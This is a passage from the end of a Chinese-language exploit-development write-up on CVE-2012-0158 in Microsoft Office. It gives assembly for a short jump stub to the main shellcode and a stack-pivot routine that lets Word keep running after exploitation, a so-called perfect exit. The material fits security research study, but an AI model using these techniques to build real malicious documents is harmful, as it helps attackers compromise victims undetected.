			mov eax,0x0014017c		//賦值操作
			mov eax,dword ptr [eax]		//取出esi的值,eax指向可控資料
			add eax,38h				//跳過自身這部分程式碼
			jmp eax					//直接跳往真正的shellcode

	}
}

此時通過12個位元組就完成了Small ShellCode跳往真正shellcode的工作,與28個可修改位元組相差了16個位元組,這是一個很有成就感的工作,短小精悍是shellcode的追求。

0x3.4 收尾工作
真正ShellCode的功能多種多樣,一般文件類的ShellCode無非是生成一個可執行檔案並執行之,網上這部分程式碼也是比較多的,大家可以參考下。先來看下目前的完成了那些工作:
完美退出的程式碼完成。
跳轉程式碼(Small  ShellCode)完成。
接下來要做什麼?
想一下就能知道,接下來要做就是對程式碼進行組合,把各部分的功能新增到一起,使其成為一個有機的整體,真正可用的一個文件類漏洞利用。
一般情況下,ShellCode完成主體功能之後就退出了,即呼叫ExitProcess()函式或者類似功能函式來結束程式,但是我們的這個例項要做到完美退出肯定不能這麼做。ShellCode主體功能完成之後需要把執行流程交回到Word程式,之後也不能觸發任何異常,才是最終的效果。
具體來說,遵循的原則就是儘可能的不破壞原始棧,shellCode的所有操作均在堆中完成,解決思路是在儲存原始棧(ESP)之後對棧頂(ESP)進行交換,使當前棧位於堆上,引數等得傳遞不在原始棧中進行,彙編指令是 xchg eax,esp。執行ShellCode主體功能之前需要儲存原始棧(ESP),因為它關係到最終能不能完美退出。ShellCode主體功能完成之後,使用之前儲存的原始棧,進行一系列操作之後,把執行流程交回到Word程式。
相應的虛擬碼如下:

__asm
	{
			mov esi,esp
			mov dword ptr [eax + offset],esi
			
nop
			nop
			Nop
Xchg eax,esp
			;shellcode主體部分
			nop
			nop
			nop
			//以下為完美退出程式碼
			mov esp,dword ptr [eax + offset]
			add esp ,1ch
			lea ebp,dword ptr [esp +1ch]
			ret 8
	}


0x4        總結
至此,我們完成了針對CVE-2012-0158 漏洞的完美退出研究分析,確認此漏洞是可以做到完美退出,並且通用性和適用性都是非常高的,不用考慮作業系統的情況下,能夠針對Microsoft Office 2003和Microsoft 2007,相比於過去的漏洞利用來說是一個很大的進步。只要去認真分析總是可以研究出一些非常有意思的東西。
首先yuange1975的一篇微博勾起了自己很大的好奇心,文件類漏洞能否做到完美退出?如果能做到,又該如何去做?這些都是自己需要解決的問題。
其次選擇一個典型的文件類漏洞進行分析構造,CVE-2012-0158就是一個非常經典的棧溢位漏洞,如何利用棧溢位漏洞覆蓋特定的資料同時又儘可能的少破壞原始的堆疊結構,構造出一個不執行shellcode的情形下的完美退出例子。
第三可控可修改程式碼有限的情況下思考如何執行到真正ShellCode,Eggsearch程式碼優化精簡非常有難度,幾乎無解,此時考慮從旁路入手,找到一個通用地址,編寫只針對此漏洞的特殊彙編程式碼並執行到真正的ShellCode之中。
最後執行ShellCode主體功能之前儲存原始棧並儘可能少去破壞原始堆疊結構情況下完成ShellCode的執行,之後恢復堆疊,交回程式執行流程。

附註:
(1)Win32環境下函式呼叫的堆疊之研究
http://wenku.baidu.com/view/668556f90242a8956bece4ac.html.
(2)Win32環境下的堆疊
http://wenku.baidu.com/view/e7d3680e7cd184254b3535c1.html

附件:
解讀天書----漏洞利用中級技巧的分析.doc
上傳的附件:

相關文章